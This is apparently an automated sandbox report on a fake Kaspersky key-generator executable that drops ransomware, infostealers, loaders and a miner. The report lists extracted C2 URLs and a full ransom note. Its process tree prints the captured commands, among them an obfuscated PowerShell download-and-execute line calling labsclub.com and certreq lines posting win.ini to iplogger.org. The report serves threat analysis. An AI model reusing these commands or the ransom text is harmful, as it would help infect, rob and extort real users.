Resubmissions
06-03-2021 22:33
210306-q2ljhhvawj 10Analysis
-
max time kernel
795s -
max time network
1773s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
06-03-2021 22:33
General
-
Target
Kaspersky.Fraud.Prevention.For.key.code.generator.by.FFF.exe
-
Size
8.6MB
-
MD5
d46996fb525c7f4fdfaea7b01c7e6d38
-
SHA1
064b4deac49cc4d633f1d287a5b6164d0bf9ea02
-
SHA256
948472e002f81ae18b98a14df1785c22c0b5c0c1f14f2b0caf1f5887493765c9
-
SHA512
b5ae0719d1e46bba31c80288855ab82e0020cf353d472985f2eee23cc1d95602bf2cb5f1c0bc80c6f6829532e927d7afba4bc684e52e856ed6dcafe92fce2a83
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://labsclub.com/welcome
Extracted
Path
C:\_readme.txt
Ransom Note
ATTENTION!
Don't worry, you can return all your files!
All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.
The only method of recovering files is to purchase decrypt tool and unique key for you.
This software will decrypt all your encrypted files.
What guarantees you have?
You can send one of your encrypted file from your PC and we decrypt it for free.
But we can decrypt only 1 file for free. File must not contain valuable information.
You can get and look video overview decrypt tool:
https://we.tl/t-2w03ajSkK1
Price of private key and decrypt software is $980.
Discount 50% available if you contact us first 72 hours, that's price for you is $490.
Please note that you'll never restore your data without payment.
Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.
To get this software you need write on our e-mail:
[email protected]
Reserve e-mail address to contact us:
[email protected]
Your personal ID:
0284oPsw3ezhjPtxWDziPslvS8B5oPPMFNAoVSRklvLjTL5s9
URLs
https://we.tl/t-2w03ajSkK1
Extracted
Family
azorult
C2
http://kvaka.li/1210776429.php
Extracted
Family
smokeloader
Version
2019
C2
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
rc4.i32
rc4.i32
Extracted
Family
smokeloader
Version
2020
C2
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
rc4.i32
rc4.i32
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
raccoon
Botnet
e71b51d358b75fe1407b56bf2284e3fac50c860f
Attributes
-
url4cnc
https://telete.in/oidmrwednesday
rc4.plain
rc4.plain
Extracted
Family
raccoon
Botnet
afefd33a49c7cbd55d417545269920f24c85aa37
Attributes
-
url4cnc
https://telete.in/jagressor_kz
rc4.plain
rc4.plain
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 3 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
PlugX
PlugX is a RAT (Remote Access Trojan) that has been around since 2008.
-
Pony,Fareit
Pony is a Remote Access Trojan application that steals information.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 5 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Nirsoft 6 IoCs
-
XMRig Miner Payload 1 IoCs
-
Blocklisted process makes network request 10 IoCs
-
Drops file in Drivers directory 10 IoCs
-
Executes dropped EXE 64 IoCs
-
Looks for VMWare Tools registry key 2 TTPs
-
Modifies Installed Components in the registry 2 TTPs
-
Modifies extensions of user files 6 IoCs
Ransomware generally changes the extension on encrypted files.
-
Sets service image path in registry 2 TTPs
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 9 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 1 IoCs
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
themida 3 IoCs
Detects Themida, Advanced Windows software protection system.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 14 IoCs
-
Checks for any installed AV software in registry 1 TTPs 64 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 10 IoCs
-
Drops Chrome extension 1 IoCs
-
Enumerates connected drives 3 TTPs 49 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 64 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 14 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
-
Drops file in System32 directory 24 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs
-
Suspicious use of SetThreadContext 17 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 62 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 41 IoCs
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 33 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Delays execution with timeout.exe 10 IoCs
-
Enumerates system info in registry 2 TTPs 18 IoCs
-
Kills process with taskkill 22 IoCs
-
Modifies Control Panel 1 IoCs
-
Modifies Internet Explorer settings 1 TTPs 6 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 8 IoCs
-
Opens file in notepad (likely ransom note) 7 IoCs
-
Runs .reg file with regedit 2 IoCs
-
Runs ping.exe 1 TTPs 6 IoCs
-
Script User-Agent 49 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 3 IoCs
-
Suspicious behavior: LoadsDriver 12 IoCs
-
Suspicious behavior: MapViewOfSection 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of SetWindowsHookEx 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Kaspersky.Fraud.Prevention.For.key.code.generator.by.FFF.exe"C:\Users\Admin\AppData\Local\Temp\Kaspersky.Fraud.Prevention.For.key.code.generator.by.FFF.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\1B97.tmp.exe"C:\Users\Admin\AppData\Roaming\1B97.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\1B97.tmp.exe"C:\Users\Admin\AppData\Roaming\1B97.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp15⤵
- Executes dropped EXE
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Roaming\1615069867908.exe"C:\Users\Admin\AppData\Roaming\1615069867908.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615069867908.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Roaming\1615069873154.exe"C:\Users\Admin\AppData\Roaming\1615069873154.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615069873154.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Roaming\1615069879645.exe"C:\Users\Admin\AppData\Roaming\1615069879645.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615069879645.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵
- Loads dropped DLL
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exeC:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe /silent6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-CUOAS.tmp\23E04C4F32EF2158.tmp"C:\Users\Admin\AppData\Local\Temp\is-CUOAS.tmp\23E04C4F32EF2158.tmp" /SL5="$5051C,762308,115712,C:\Users\Admin\AppData\Local\Temp\23E04C4F32EF2158.exe" /silent7⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/14Zhe7"8⤵
- Checks computer location settings
-
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s18⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Seed Trade\Seed\seed.exe"C:\Program Files (x86)\Seed Trade\Seed\seed.exe"9⤵
- Loads dropped DLL
- Suspicious behavior: MapViewOfSection
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exeC:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"6⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\678PXFBTNT\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\678PXFBTNT\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\678PXFBTNT\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\678PXFBTNT\multitimer.exe" 1 3.1615070088.604403882d12a 1016⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\678PXFBTNT\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\678PXFBTNT\multitimer.exe" 2 3.1615070088.604403882d12a7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\AppData\Local\Temp\bg1fuey0rfm\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\bg1fuey0rfm\askinstall24.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\xihbcdzekft\xel51pheks2.exe"C:\Users\Admin\AppData\Local\Temp\xihbcdzekft\xel51pheks2.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 6489⤵
- Drops file in Windows directory
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 6649⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 6209⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 7689⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 8729⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 9209⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4964 -s 11249⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\wpzie1xigtr\dq41pp55tqo.exe"C:\Users\Admin\AppData\Local\Temp\wpzie1xigtr\dq41pp55tqo.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-8320N.tmp\dq41pp55tqo.tmp"C:\Users\Admin\AppData\Local\Temp\is-8320N.tmp\dq41pp55tqo.tmp" /SL5="$20218,870426,780800,C:\Users\Admin\AppData\Local\Temp\wpzie1xigtr\dq41pp55tqo.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-LLL17.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-LLL17.tmp\winlthst.exe" test1 test110⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\Zt9i7N8La.exe"C:\Users\Admin\AppData\Local\Temp\Zt9i7N8La.exe"11⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Zt9i7N8La.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Zt9i7N8La.exe" & del C:\ProgramData\*.dll & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Zt9i7N8La.exe /f13⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
- Blocklisted process makes network request
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\km2jdxiygzb\vict.exe"C:\Users\Admin\AppData\Local\Temp\km2jdxiygzb\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-Q0UQG.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q0UQG.tmp\vict.tmp" /SL5="$7006A,870426,780800,C:\Users\Admin\AppData\Local\Temp\km2jdxiygzb\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-5KAIN.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-5KAIN.tmp\wimapi.exe" 53510⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\4gebyt8BL.exe"C:\Users\Admin\AppData\Local\Temp\4gebyt8BL.exe"11⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 4gebyt8BL.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\4gebyt8BL.exe" & del C:\ProgramData\*.dll & exit12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 4gebyt8BL.exe /f13⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 613⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
- Blocklisted process makes network request
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\253vx14ffm3\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\253vx14ffm3\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-D3G0B.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-D3G0B.tmp\IBInstaller_97039.tmp" /SL5="$501DC,14441812,721408,C:\Users\Admin\AppData\Local\Temp\253vx14ffm3\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-5HOQT.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-5HOQT.tmp\{app}\chrome_proxy.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-5HOQT.tmp\{app}\chrome_proxy.exe"11⤵
-
C:\Windows\SysWOW64\PING.EXEping localhost -n 412⤵
- Runs ping.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://gemstrue.shop/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\kjadftecvog\4f4f2jejlna.exe"C:\Users\Admin\AppData\Local\Temp\kjadftecvog\4f4f2jejlna.exe" 57a764d042bf88⤵
- Executes dropped EXE
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\BFKCKJTK25\BFKCKJTK2.exe" 57a764d042bf8 & exit9⤵
-
C:\Program Files\BFKCKJTK25\BFKCKJTK2.exe"C:\Program Files\BFKCKJTK25\BFKCKJTK2.exe" 57a764d042bf810⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\01datdctd0r\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\01datdctd0r\chashepro3.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-3F0D9.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-3F0D9.tmp\chashepro3.tmp" /SL5="$B01CE,2012497,58368,C:\Users\Admin\AppData\Local\Temp\01datdctd0r\chashepro3.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"10⤵
- Blocklisted process makes network request
- Drops file in System32 directory
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"10⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵
-
-
-
C:\Program Files (x86)\JCleaner\8.exe"C:\Program Files (x86)\JCleaner\8.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo grYNxrw11⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Nemica.sys11⤵
-
C:\Windows\SysWOW64\cmd.execmd12⤵
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"10⤵
- Blocklisted process makes network request
- Drops file in System32 directory
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"10⤵
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵
-
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"C:\Program Files (x86)\JCleaner\Venita.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"11⤵
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"11⤵
-
-
-
C:\Program Files (x86)\JCleaner\Brava.exe"C:\Program Files (x86)\JCleaner\Brava.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\22nrfxzb1oe\xzp3hklzk1f.exe"C:\Users\Admin\AppData\Local\Temp\22nrfxzb1oe\xzp3hklzk1f.exe" testparams8⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\lo3gnosyrgq\gnvcer1e1yf.exe"C:\Users\Admin\AppData\Roaming\lo3gnosyrgq\gnvcer1e1yf.exe" /VERYSILENT /p=testparams9⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
